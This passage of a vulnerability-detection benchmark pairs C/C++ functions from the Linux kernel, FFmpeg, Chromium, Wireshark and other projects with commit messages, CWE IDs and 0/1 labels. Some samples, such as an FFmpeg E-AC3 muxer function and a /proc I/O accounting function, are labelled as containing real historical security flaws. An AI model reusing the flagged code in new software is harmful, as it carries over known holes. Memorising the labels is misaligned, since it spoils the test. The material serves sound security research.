<Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> CWE ID: CWE-189
1
166,619
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: get_control_selector_name(guint8 entity_id, guint8 control_sel, usb_conv_info_t *usb_conv_info) { const gchar *control_name = NULL; value_string_ext *selectors = NULL; selectors = get_control_selector_values(entity_id, usb_conv_info); if (selectors) control_name = try_val_to_str_ext(control_sel, selectors); return control_name; } Commit Message: Make class "type" for USB conversations. USB dissectors can't assume that only their class type has been passed around in the conversation. Make explicit check that class type expected matches the dissector and stop/prevent dissection if there isn't a match. Bug: 12356 Change-Id: Ib23973a4ebd0fbb51952ffc118daf95e3389a209 Reviewed-on: https://code.wireshark.org/review/15212 Petri-Dish: Michael Mann <mmann78@netscape.net> Reviewed-by: Martin Kaiser <wireshark@kaiser.cx> Petri-Dish: Martin Kaiser <wireshark@kaiser.cx> Tested-by: Petri Dish Buildbot <buildbot-no-reply@wireshark.org> Reviewed-by: Michael Mann <mmann78@netscape.net> CWE ID: CWE-476
0
51,837
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int cpu_cfs_period_write_u64(struct cgroup_subsys_state *css, struct cftype *cftype, u64 cfs_period_us) { return tg_set_cfs_period(css_tg(css), cfs_period_us); } Commit Message: Merge branch 'stacking-fixes' (vfs stacking fixes from Jann) Merge filesystem stacking fixes from Jann Horn. * emailed patches from Jann Horn <jannh@google.com>: sched: panic on corrupted stack end ecryptfs: forbid opening files without mmap handler proc: prevent stacking filesystems on top CWE ID: CWE-119
0
55,501
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int handle_eac3(MOVMuxContext *mov, AVPacket *pkt, MOVTrack *track) { AC3HeaderInfo *hdr = NULL; struct eac3_info *info; int num_blocks, ret; if (!track->eac3_priv && !(track->eac3_priv = av_mallocz(sizeof(*info)))) return AVERROR(ENOMEM); info = track->eac3_priv; if (avpriv_ac3_parse_header(&hdr, pkt->data, pkt->size) < 0) { /* drop the packets until we see a good one */ if (!track->entry) { av_log(mov, AV_LOG_WARNING, "Dropping invalid packet from start of the stream\n"); ret = 0; } else ret = AVERROR_INVALIDDATA; goto end; } info->data_rate = FFMAX(info->data_rate, hdr->bit_rate / 1000); num_blocks = hdr->num_blocks; if (!info->ec3_done) { /* AC-3 substream must be the first one */ if (hdr->bitstream_id <= 10 && hdr->substreamid != 0) { ret = AVERROR(EINVAL); goto end; } /* this should always be the case, given that our AC-3 parser * concatenates dependent frames to their independent parent */ if (hdr->frame_type == EAC3_FRAME_TYPE_INDEPENDENT) { /* substream ids must be incremental */ if (hdr->substreamid > info->num_ind_sub + 1) { ret = AVERROR(EINVAL); goto end; } if (hdr->substreamid == info->num_ind_sub + 1) { avpriv_request_sample(track->par, "Multiple independent substreams"); ret = AVERROR_PATCHWELCOME; goto end; } else if (hdr->substreamid < info->num_ind_sub || hdr->substreamid == 0 && info->substream[0].bsid) { info->ec3_done = 1; goto concatenate; } } /* fill the info needed for the "dec3" atom */ info->substream[hdr->substreamid].fscod = hdr->sr_code; info->substream[hdr->substreamid].bsid = hdr->bitstream_id; info->substream[hdr->substreamid].bsmod = hdr->bitstream_mode; info->substream[hdr->substreamid].acmod = hdr->channel_mode; info->substream[hdr->substreamid].lfeon = hdr->lfe_on; /* Parse dependent substream(s), if any */ if (pkt->size != hdr->frame_size) { int cumul_size = hdr->frame_size; int parent = hdr->substreamid; while (cumul_size != pkt->size) { GetBitContext gbc; int i; ret = avpriv_ac3_parse_header(&hdr, pkt->data + cumul_size, pkt->size - cumul_size); if (ret < 0) goto end; if (hdr->frame_type != EAC3_FRAME_TYPE_DEPENDENT) { ret = AVERROR(EINVAL); goto end; } info->substream[parent].num_dep_sub++; ret /= 8; /* header is parsed up to lfeon, but custom channel map may be needed */ init_get_bits8(&gbc, pkt->data + cumul_size + ret, pkt->size - cumul_size - ret); /* skip bsid */ skip_bits(&gbc, 5); /* skip volume control params */ for (i = 0; i < (hdr->channel_mode ? 1 : 2); i++) { skip_bits(&gbc, 5); // skip dialog normalization if (get_bits1(&gbc)) { skip_bits(&gbc, 8); // skip compression gain word } } /* get the dependent stream channel map, if exists */ if (get_bits1(&gbc)) info->substream[parent].chan_loc |= (get_bits(&gbc, 16) >> 5) & 0x1f; else info->substream[parent].chan_loc |= hdr->channel_mode; cumul_size += hdr->frame_size; } } } concatenate: if (!info->num_blocks && num_blocks == 6) { ret = pkt->size; goto end; } else if (info->num_blocks + num_blocks > 6) { ret = AVERROR_INVALIDDATA; goto end; } if (!info->num_blocks) { ret = av_packet_ref(&info->pkt, pkt); if (!ret) info->num_blocks = num_blocks; goto end; } else { if ((ret = av_grow_packet(&info->pkt, pkt->size)) < 0) goto end; memcpy(info->pkt.data + info->pkt.size - pkt->size, pkt->data, pkt->size); info->num_blocks += num_blocks; info->pkt.duration += pkt->duration; if ((ret = av_copy_packet_side_data(&info->pkt, pkt)) < 0) goto end; if (info->num_blocks != 6) goto end; av_packet_unref(pkt); av_packet_move_ref(pkt, &info->pkt); info->num_blocks = 0; } ret = pkt->size; end: av_free(hdr); return ret; } Commit Message: avformat/movenc: Check that frame_types other than EAC3_FRAME_TYPE_INDEPENDENT have a supported substream id Fixes: out of array access Fixes: ffmpeg_bof_1.avi Found-by: Thuan Pham, Marcel Böhme, Andrew Santosa and Alexandru Razvan Caciulescu with AFLSmart Signed-off-by: Michael Niedermayer <michael@niedermayer.cc> CWE ID: CWE-129
1
169,159
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: bool InputMethodController::SetEditableSelectionOffsets( const PlainTextRange& selection_offsets, TypingContinuation typing_continuation) { if (!GetEditor().CanEdit()) return false; return SetSelectionOffsets(selection_offsets, typing_continuation); } Commit Message: Move SelectionTemplate::is_handle_visible_ to FrameSelection This patch moves |is_handle_visible_| to |FrameSelection| from |SelectionTemplate| since handle visibility is used only for setting |FrameSelection|, hence it is a redundant member variable of |SelectionTemplate|. Bug: 742093 Change-Id: I3add4da3844fb40be34dcb4d4b46b5fa6fed1d7e Reviewed-on: https://chromium-review.googlesource.com/595389 Commit-Queue: Yoshifumi Inoue <yosin@chromium.org> Reviewed-by: Xiaocheng Hu <xiaochengh@chromium.org> Reviewed-by: Kent Tamura <tkent@chromium.org> Cr-Commit-Position: refs/heads/master@{#491660} CWE ID: CWE-119
0
124,896
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: virtual QueryManager* GetQueryManager() { return query_manager_.get(); } Commit Message: Fix SafeAdd and SafeMultiply BUG=145648,145544 Review URL: https://chromiumcodereview.appspot.com/10916165 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@155478 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-189
0
103,606
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int ldm_relative(const u8 *buffer, int buflen, int base, int offset) { base += offset; if (!buffer || offset < 0 || base > buflen) { if (!buffer) ldm_error("!buffer"); if (offset < 0) ldm_error("offset (%d) < 0", offset); if (base > buflen) ldm_error("base (%d) > buflen (%d)", base, buflen); return -1; } if (base + buffer[base] >= buflen) { ldm_error("base (%d) + buffer[base] (%d) >= buflen (%d)", base, buffer[base], buflen); return -1; } return buffer[base] + offset + 1; } Commit Message: Fix for buffer overflow in ldm_frag_add not sufficient As Ben Hutchings discovered [1], the patch for CVE-2011-1017 (buffer overflow in ldm_frag_add) is not sufficient. The original patch in commit c340b1d64000 ("fs/partitions/ldm.c: fix oops caused by corrupted partition table") does not consider that, for subsequent fragments, previously allocated memory is used. [1] http://lkml.org/lkml/2011/5/6/407 Reported-by: Ben Hutchings <ben@decadent.org.uk> Signed-off-by: Timo Warns <warns@pre-sense.de> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> CWE ID: CWE-119
0
27,329
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: int ext4_change_inode_journal_flag(struct inode *inode, int val) { journal_t *journal; handle_t *handle; int err; /* * We have to be very careful here: changing a data block's * journaling status dynamically is dangerous. If we write a * data block to the journal, change the status and then delete * that block, we risk forgetting to revoke the old log record * from the journal and so a subsequent replay can corrupt data. * So, first we make sure that the journal is empty and that * nobody is changing anything. */ journal = EXT4_JOURNAL(inode); if (!journal) return 0; if (is_journal_aborted(journal)) return -EROFS; jbd2_journal_lock_updates(journal); jbd2_journal_flush(journal); /* * OK, there are no updates running now, and all cached data is * synced to disk. We are now in a completely consistent state * which doesn't have anything in the journal, and we know that * no filesystem updates are running, so it is safe to modify * the inode's in-core data-journaling state flag now. */ if (val) EXT4_I(inode)->i_flags |= EXT4_JOURNAL_DATA_FL; else EXT4_I(inode)->i_flags &= ~EXT4_JOURNAL_DATA_FL; ext4_set_aops(inode); jbd2_journal_unlock_updates(journal); /* Finally we can mark the inode as dirty. */ handle = ext4_journal_start(inode, 1); if (IS_ERR(handle)) return PTR_ERR(handle); err = ext4_mark_inode_dirty(handle, inode); ext4_handle_sync(handle); ext4_journal_stop(handle); ext4_std_error(inode->i_sb, err); return err; } Commit Message: ext4: use ext4_get_block_write in buffer write Allocate uninitialized extent before ext4 buffer write and convert the extent to initialized after io completes. The purpose is to make sure an extent can only be marked initialized after it has been written with new data so we can safely drop the i_mutex lock in ext4 DIO read without exposing stale data. This helps to improve multi-thread DIO read performance on high-speed disks. Skip the nobh and data=journal mount cases to make things simple for now. Signed-off-by: Jiaying Zhang <jiayingz@google.com> Signed-off-by: "Theodore Ts'o" <tytso@mit.edu> CWE ID:
0
57,490
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int tiocsetd(struct tty_struct *tty, int __user *p) { int ldisc; int ret; if (get_user(ldisc, p)) return -EFAULT; ret = tty_set_ldisc(tty, ldisc); return ret; } Commit Message: tty: Fix unsafe ldisc reference via ioctl(TIOCGETD) ioctl(TIOCGETD) retrieves the line discipline id directly from the ldisc because the line discipline id (c_line) in termios is untrustworthy; userspace may have set termios via ioctl(TCSETS*) without actually changing the line discipline via ioctl(TIOCSETD). However, directly accessing the current ldisc via tty->ldisc is unsafe; the ldisc ptr dereferenced may be stale if the line discipline is changing via ioctl(TIOCSETD) or hangup. Wait for the line discipline reference (just like read() or write()) to retrieve the "current" line discipline id. Cc: <stable@vger.kernel.org> Signed-off-by: Peter Hurley <peter@hurleysoftware.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> CWE ID: CWE-362
0
55,893
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static struct sock *__l2tp_ip6_bind_lookup(struct net *net, struct in6_addr *laddr, int dif, u32 tunnel_id) { struct hlist_node *node; struct sock *sk; sk_for_each_bound(sk, node, &l2tp_ip6_bind_table) { struct in6_addr *addr = inet6_rcv_saddr(sk); struct l2tp_ip6_sock *l2tp = l2tp_ip6_sk(sk); if (l2tp == NULL) continue; if ((l2tp->conn_id == tunnel_id) && net_eq(sock_net(sk), net) && !(addr && ipv6_addr_equal(addr, laddr)) && !(sk->sk_bound_dev_if && sk->sk_bound_dev_if != dif)) goto found; } sk = NULL; found: return sk; } Commit Message: l2tp: fix info leak via getsockname() The L2TP code for IPv6 fails to initialize the l2tp_unused member of struct sockaddr_l2tpip6 and that for leaks two bytes kernel stack via the getsockname() syscall. Initialize l2tp_unused with 0 to avoid the info leak. Signed-off-by: Mathias Krause <minipli@googlemail.com> Cc: James Chapman <jchapman@katalix.com> Signed-off-by: David S. Miller <davem@davemloft.net> CWE ID: CWE-200
0
34,140
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: send_smtp_trap(const char *node, const char *rsc, const char *task, int target_rc, int rc, int status, const char *desc) { #if ENABLE_ESMTP smtp_session_t session; smtp_message_t message; auth_context_t authctx; struct sigaction sa; int len = 20; int noauth = 1; int smtp_debug = LOG_DEBUG; char crm_mail_body[BODY_MAX]; char *crm_mail_subject = NULL; memset(&sa, 0, sizeof(struct sigaction)); if (node == NULL) { node = "-"; } if (rsc == NULL) { rsc = "-"; } if (desc == NULL) { desc = "-"; } if (crm_mail_to == NULL) { return 1; } if (crm_mail_host == NULL) { crm_mail_host = "localhost:25"; } if (crm_mail_prefix == NULL) { crm_mail_prefix = "Cluster notification"; } crm_debug("Sending '%s' mail to %s via %s", crm_mail_prefix, crm_mail_to, crm_mail_host); len += strlen(crm_mail_prefix); len += strlen(task); len += strlen(rsc); len += strlen(node); len += strlen(desc); len++; crm_mail_subject = calloc(1, len); snprintf(crm_mail_subject, len, "%s - %s event for %s on %s: %s\r\n", crm_mail_prefix, task, rsc, node, desc); len = 0; len += snprintf(crm_mail_body + len, BODY_MAX - len, "\r\n%s\r\n", crm_mail_prefix); len += snprintf(crm_mail_body + len, BODY_MAX - len, "====\r\n\r\n"); if (rc == target_rc) { len += snprintf(crm_mail_body + len, BODY_MAX - len, "Completed operation %s for resource %s on %s\r\n", task, rsc, node); } else { len += snprintf(crm_mail_body + len, BODY_MAX - len, "Operation %s for resource %s on %s failed: %s\r\n", task, rsc, node, desc); } len += snprintf(crm_mail_body + len, BODY_MAX - len, "\r\nDetails:\r\n"); len += snprintf(crm_mail_body + len, BODY_MAX - len, "\toperation status: (%d) %s\r\n", status, services_lrm_status_str(status)); if (status == PCMK_LRM_OP_DONE) { len += snprintf(crm_mail_body + len, BODY_MAX - len, "\tscript returned: (%d) %s\r\n", rc, lrmd_event_rc2str(rc)); len += snprintf(crm_mail_body + len, BODY_MAX - len, "\texpected return value: (%d) %s\r\n", target_rc, lrmd_event_rc2str(target_rc)); } auth_client_init(); session = smtp_create_session(); message = smtp_add_message(session); smtp_starttls_enable(session, Starttls_ENABLED); sa.sa_handler = SIG_IGN; sigemptyset(&sa.sa_mask); sa.sa_flags = 0; sigaction(SIGPIPE, &sa, NULL); smtp_set_server(session, crm_mail_host); authctx = auth_create_context(); auth_set_mechanism_flags(authctx, AUTH_PLUGIN_PLAIN, 0); smtp_set_eventcb(session, event_cb, NULL); /* Now tell libESMTP it can use the SMTP AUTH extension. */ if (!noauth) { crm_debug("Adding authentication context"); smtp_auth_set_context(session, authctx); } if (crm_mail_from == NULL) { struct utsname us; char auto_from[BODY_MAX]; CRM_ASSERT(uname(&us) == 0); snprintf(auto_from, BODY_MAX, "crm_mon@%s", us.nodename); smtp_set_reverse_path(message, auto_from); } else { /* NULL is ok */ smtp_set_reverse_path(message, crm_mail_from); } smtp_set_header(message, "To", NULL /*phrase */ , NULL /*addr */ ); /* "Phrase" <addr> */ smtp_add_recipient(message, crm_mail_to); /* Set the Subject: header and override any subject line in the message headers. */ smtp_set_header(message, "Subject", crm_mail_subject); smtp_set_header_option(message, "Subject", Hdr_OVERRIDE, 1); smtp_set_message_str(message, crm_mail_body); smtp_set_monitorcb(session, crm_smtp_debug, &smtp_debug, 1); if (smtp_start_session(session)) { char buf[128]; int rc = smtp_errno(); crm_err("SMTP server problem: %s (%d)", smtp_strerror(rc, buf, sizeof buf), rc); } else { char buf[128]; int rc = smtp_errno(); const smtp_status_t *smtp_status = smtp_message_transfer_status(message); if (rc != 0) { crm_err("SMTP server problem: %s (%d)", smtp_strerror(rc, buf, sizeof buf), rc); } crm_info("Send status: %d %s", smtp_status->code, crm_str(smtp_status->text)); smtp_enumerate_recipients(message, print_recipient_status, NULL); } smtp_destroy_session(session); auth_destroy_context(authctx); auth_client_exit(); #endif return 0; } Commit Message: High: core: Internal tls api improvements for reuse with future LRMD tls backend. CWE ID: CWE-399
0
33,959
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int hci_uart_tty_open(struct tty_struct *tty) { struct hci_uart *hu; BT_DBG("tty %p", tty); /* Error if the tty has no write op instead of leaving an exploitable * hole */ if (tty->ops->write == NULL) return -EOPNOTSUPP; hu = kzalloc(sizeof(struct hci_uart), GFP_KERNEL); if (!hu) { BT_ERR("Can't allocate control structure"); return -ENFILE; } tty->disc_data = hu; hu->tty = tty; tty->receive_room = 65536; /* disable alignment support by default */ hu->alignment = 1; hu->padding = 0; INIT_WORK(&hu->init_ready, hci_uart_init_work); INIT_WORK(&hu->write_work, hci_uart_write_work); percpu_init_rwsem(&hu->proto_lock); /* Flush any pending characters in the driver */ tty_driver_flush_buffer(tty); return 0; } Commit Message: Bluetooth: hci_ldisc: Postpone HCI_UART_PROTO_READY bit set in hci_uart_set_proto() task A: task B: hci_uart_set_proto flush_to_ldisc - p->open(hu) -> h5_open //alloc h5 - receive_buf - set_bit HCI_UART_PROTO_READY - tty_port_default_receive_buf - hci_uart_register_dev - tty_ldisc_receive_buf - hci_uart_tty_receive - test_bit HCI_UART_PROTO_READY - h5_recv - clear_bit HCI_UART_PROTO_READY while() { - p->open(hu) -> h5_close //free h5 - h5_rx_3wire_hdr - h5_reset() //use-after-free } It could use ioctl to set hci uart proto, but there is a use-after-free issue when hci_uart_register_dev() fail in hci_uart_set_proto(), see stack above, fix this by setting HCI_UART_PROTO_READY bit only when hci_uart_register_dev() return success. Reported-by: syzbot+899a33dc0fa0dbaf06a6@syzkaller.appspotmail.com Signed-off-by: Kefeng Wang <wangkefeng.wang@huawei.com> Reviewed-by: Jeremy Cline <jcline@redhat.com> Signed-off-by: Marcel Holtmann <marcel@holtmann.org> CWE ID: CWE-416
0
88,167
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: create_signature(unsigned char **sig, unsigned int *sig_len, unsigned char *data, unsigned int data_len, EVP_PKEY *pkey) { krb5_error_code retval = ENOMEM; EVP_MD_CTX md_ctx; if (pkey == NULL) return retval; EVP_VerifyInit(&md_ctx, EVP_sha1()); EVP_SignUpdate(&md_ctx, data, data_len); *sig_len = EVP_PKEY_size(pkey); if ((*sig = malloc(*sig_len)) == NULL) goto cleanup; EVP_SignFinal(&md_ctx, *sig, sig_len, pkey); retval = 0; cleanup: EVP_MD_CTX_cleanup(&md_ctx); return retval; } Commit Message: PKINIT null pointer deref [CVE-2013-1415] Don't dereference a null pointer when cleaning up. The KDC plugin for PKINIT can dereference a null pointer when a malformed packet causes processing to terminate early, leading to a crash of the KDC process. An attacker would need to have a valid PKINIT certificate or have observed a successful PKINIT authentication, or an unauthenticated attacker could execute the attack if anonymous PKINIT is enabled. CVSSv2 vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:P/RL:O/RC:C This is a minimal commit for pullup; style fixes in a followup. [kaduk@mit.edu: reformat and edit commit message] (cherry picked from commit c773d3c775e9b2d88bcdff5f8a8ba88d7ec4e8ed) ticket: 7570 version_fixed: 1.11.1 status: resolved CWE ID:
0
33,618
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: String Document::outgoingReferrer() { Document* referrerDocument = this; if (LocalFrame* frame = m_frame) { while (frame->document()->isSrcdocDocument()) { frame = toLocalFrame(frame->tree().parent()); ASSERT(frame); } referrerDocument = frame->document(); } return referrerDocument->m_url.strippedForUseAsReferrer(); } Commit Message: Correctly keep track of isolates for microtask execution BUG=487155 R=haraken@chromium.org Review URL: https://codereview.chromium.org/1161823002 git-svn-id: svn://svn.chromium.org/blink/trunk@195985 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-254
0
127,534
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void GraphicsContext::concatCTM(const AffineTransform& transform) { if (paintingDisabled()) return; #if USE(WXGC) wxGraphicsContext* gc = m_data->context->GetGraphicsContext(); if (gc) gc->ConcatTransform(transform); #endif return; } Commit Message: Reviewed by Kevin Ollivier. [wx] Fix strokeArc and fillRoundedRect drawing, and add clipPath support. https://bugs.webkit.org/show_bug.cgi?id=60847 git-svn-id: svn://svn.chromium.org/blink/trunk@86502 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-399
0
100,079
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void PDFiumEngine::ContinueLoadingDocument(const std::string& password) { ScopedUnsupportedFeature scoped_unsupported_feature(this); ScopedSubstFont scoped_subst_font(this); bool needs_password = false; bool loaded = TryLoadingDoc(password, &needs_password); bool password_incorrect = !loaded && needs_password && !password.empty(); if (password_incorrect && password_tries_remaining_ > 0) { GetPasswordAndLoad(); return; } if (!doc_) { client_->DocumentLoadFailed(); return; } if (FPDFDoc_GetPageMode(doc_) == PAGEMODE_USEOUTLINES) client_->DocumentHasUnsupportedFeature("Bookmarks"); permissions_ = FPDF_GetDocPermissions(doc_); permissions_handler_revision_ = FPDF_GetSecurityHandlerRevision(doc_); LoadBody(); if (doc_loader_->IsDocumentComplete()) FinishLoadingDocument(); } Commit Message: [pdf] Use a temporary list when unloading pages When traversing the |deferred_page_unloads_| list and handling the unloads it's possible for new pages to get added to the list which will invalidate the iterator. This CL swaps the list with an empty list and does the iteration on the list copy. New items that are unloaded while handling the defers will be unloaded at a later point. Bug: 780450 Change-Id: Ic7ced1c82227109784fb536ce19a4dd51b9119ac Reviewed-on: https://chromium-review.googlesource.com/758916 Commit-Queue: dsinclair <dsinclair@chromium.org> Reviewed-by: Lei Zhang <thestig@chromium.org> Cr-Commit-Position: refs/heads/master@{#515056} CWE ID: CWE-416
0
146,092
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int do_io_accounting(struct task_struct *task, char *buffer, int whole) { struct task_io_accounting acct = task->ioac; unsigned long flags; if (whole && lock_task_sighand(task, &flags)) { struct task_struct *t = task; task_io_accounting_add(&acct, &task->signal->ioac); while_each_thread(task, t) task_io_accounting_add(&acct, &t->ioac); unlock_task_sighand(task, &flags); } return sprintf(buffer, "rchar: %llu\n" "wchar: %llu\n" "syscr: %llu\n" "syscw: %llu\n" "read_bytes: %llu\n" "write_bytes: %llu\n" "cancelled_write_bytes: %llu\n", (unsigned long long)acct.rchar, (unsigned long long)acct.wchar, (unsigned long long)acct.syscr, (unsigned long long)acct.syscw, (unsigned long long)acct.read_bytes, (unsigned long long)acct.write_bytes, (unsigned long long)acct.cancelled_write_bytes); } Commit Message: proc: restrict access to /proc/PID/io /proc/PID/io may be used for gathering private information. E.g. for openssh and vsftpd daemons wchars/rchars may be used to learn the precise password length. Restrict it to processes being able to ptrace the target process. ptrace_may_access() is needed to prevent keeping open file descriptor of "io" file, executing setuid binary and gathering io information of the setuid'ed process. Signed-off-by: Vasiliy Kulikov <segoon@openwall.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> CWE ID: CWE-264
1
165,860
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static void mt_decode_macroblock(VP8D_COMP *pbi, MACROBLOCKD *xd, unsigned int mb_idx) { MB_PREDICTION_MODE mode; int i; #if CONFIG_ERROR_CONCEALMENT int corruption_detected = 0; #else (void)mb_idx; #endif if (xd->mode_info_context->mbmi.mb_skip_coeff) { vp8_reset_mb_tokens_context(xd); } else if (!vp8dx_bool_error(xd->current_bc)) { int eobtotal; eobtotal = vp8_decode_mb_tokens(pbi, xd); /* Special case: Force the loopfilter to skip when eobtotal is zero */ xd->mode_info_context->mbmi.mb_skip_coeff = (eobtotal==0); } mode = xd->mode_info_context->mbmi.mode; if (xd->segmentation_enabled) vp8_mb_init_dequantizer(pbi, xd); #if CONFIG_ERROR_CONCEALMENT if(pbi->ec_active) { int throw_residual; /* When we have independent partitions we can apply residual even * though other partitions within the frame are corrupt. */ throw_residual = (!pbi->independent_partitions && pbi->frame_corrupt_residual); throw_residual = (throw_residual || vp8dx_bool_error(xd->current_bc)); if ((mb_idx >= pbi->mvs_corrupt_from_mb || throw_residual)) { /* MB with corrupt residuals or corrupt mode/motion vectors. * Better to use the predictor as reconstruction. */ pbi->frame_corrupt_residual = 1; memset(xd->qcoeff, 0, sizeof(xd->qcoeff)); vp8_conceal_corrupt_mb(xd); corruption_detected = 1; /* force idct to be skipped for B_PRED and use the * prediction only for reconstruction * */ memset(xd->eobs, 0, 25); } } #endif /* do prediction */ if (xd->mode_info_context->mbmi.ref_frame == INTRA_FRAME) { vp8_build_intra_predictors_mbuv_s(xd, xd->recon_above[1], xd->recon_above[2], xd->recon_left[1], xd->recon_left[2], xd->recon_left_stride[1], xd->dst.u_buffer, xd->dst.v_buffer, xd->dst.uv_stride); if (mode != B_PRED) { vp8_build_intra_predictors_mby_s(xd, xd->recon_above[0], xd->recon_left[0], xd->recon_left_stride[0], xd->dst.y_buffer, xd->dst.y_stride); } else { short *DQC = xd->dequant_y1; int dst_stride = xd->dst.y_stride; /* clear out residual eob info */ if(xd->mode_info_context->mbmi.mb_skip_coeff) memset(xd->eobs, 0, 25); intra_prediction_down_copy(xd, xd->recon_above[0] + 16); for (i = 0; i < 16; i++) { BLOCKD *b = &xd->block[i]; unsigned char *dst = xd->dst.y_buffer + b->offset; B_PREDICTION_MODE b_mode = xd->mode_info_context->bmi[i].as_mode; unsigned char *Above; unsigned char *yleft; int left_stride; unsigned char top_left; /*Caution: For some b_mode, it needs 8 pixels (4 above + 4 above-right).*/ if (i < 4 && pbi->common.filter_level) Above = xd->recon_above[0] + b->offset; else Above = dst - dst_stride; if (i%4==0 && pbi->common.filter_level) { yleft = xd->recon_left[0] + i; left_stride = 1; } else { yleft = dst - 1; left_stride = dst_stride; } if ((i==4 || i==8 || i==12) && pbi->common.filter_level) top_left = *(xd->recon_left[0] + i - 1); else top_left = Above[-1]; vp8_intra4x4_predict(Above, yleft, left_stride, b_mode, dst, dst_stride, top_left); if (xd->eobs[i] ) { if (xd->eobs[i] > 1) { vp8_dequant_idct_add(b->qcoeff, DQC, dst, dst_stride); } else { vp8_dc_only_idct_add(b->qcoeff[0] * DQC[0], dst, dst_stride, dst, dst_stride); memset(b->qcoeff, 0, 2 * sizeof(b->qcoeff[0])); } } } } } else { vp8_build_inter_predictors_mb(xd); } #if CONFIG_ERROR_CONCEALMENT if (corruption_detected) { return; } #endif if(!xd->mode_info_context->mbmi.mb_skip_coeff) { /* dequantization and idct */ if (mode != B_PRED) { short *DQC = xd->dequant_y1; if (mode != SPLITMV) { BLOCKD *b = &xd->block[24]; /* do 2nd order transform on the dc block */ if (xd->eobs[24] > 1) { vp8_dequantize_b(b, xd->dequant_y2); vp8_short_inv_walsh4x4(&b->dqcoeff[0], xd->qcoeff); memset(b->qcoeff, 0, 16 * sizeof(b->qcoeff[0])); } else { b->dqcoeff[0] = b->qcoeff[0] * xd->dequant_y2[0]; vp8_short_inv_walsh4x4_1(&b->dqcoeff[0], xd->qcoeff); memset(b->qcoeff, 0, 2 * sizeof(b->qcoeff[0])); } /* override the dc dequant constant in order to preserve the * dc components */ DQC = xd->dequant_y1_dc; } vp8_dequant_idct_add_y_block (xd->qcoeff, DQC, xd->dst.y_buffer, xd->dst.y_stride, xd->eobs); } vp8_dequant_idct_add_uv_block (xd->qcoeff+16*16, xd->dequant_uv, xd->dst.u_buffer, xd->dst.v_buffer, xd->dst.uv_stride, xd->eobs+16); } } Commit Message: vp8:fix threading issues 1 - stops de allocating before threads are closed. 2 - limits threads to mb_rows when mb_rows < partitions BUG=webm:851 Bug: 30436808 Change-Id: Ie017818ed28103ca9d26d57087f31361b642e09b (cherry picked from commit 70cca742efa20617c70c3209aa614a70f282f90e) CWE ID:
0
162,664
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void RenderWidgetHostImpl::CheckRendererIsUnresponsive() { if (time_when_considered_hung_.is_null()) return; Time now = Time::Now(); if (now < time_when_considered_hung_) { StartHangMonitorTimeout(time_when_considered_hung_ - now); return; } NotificationService::current()->Notify( NOTIFICATION_RENDERER_PROCESS_HANG, Source<RenderWidgetHost>(this), NotificationService::NoDetails()); is_unresponsive_ = true; NotifyRendererUnresponsive(); } Commit Message: Implement TextureImageTransportSurface using texture mailbox This has a couple of advantages: - allow tearing down and recreating the UI parent context without losing the renderer contexts - do not require a context to be able to generate textures when creating the GLSurfaceHandle - clearer ownership semantics that potentially allows for more robust and easier lost context handling/thumbnailing/etc., since a texture is at any given time owned by either: UI parent, mailbox, or TextureImageTransportSurface - simplify frontbuffer protection logic; the frontbuffer textures are now owned by RWHV where they are refcounted The TextureImageTransportSurface informs RenderWidgetHostView of the mailbox names for the front- and backbuffer textures by associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message. During SwapBuffers() or PostSubBuffer() cycles, it then uses produceTextureCHROMIUM() and consumeTextureCHROMIUM() to transfer ownership between renderer and browser compositor. RWHV sends back the surface_handle of the buffer being returned with the Swap ACK (or 0 if no buffer is being returned in which case TextureImageTransportSurface will allocate a new texture - note that this could be used to simply keep textures for thumbnailing). BUG=154815,139616 TBR=sky@chromium.org Review URL: https://chromiumcodereview.appspot.com/11194042 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID:
0
114,593
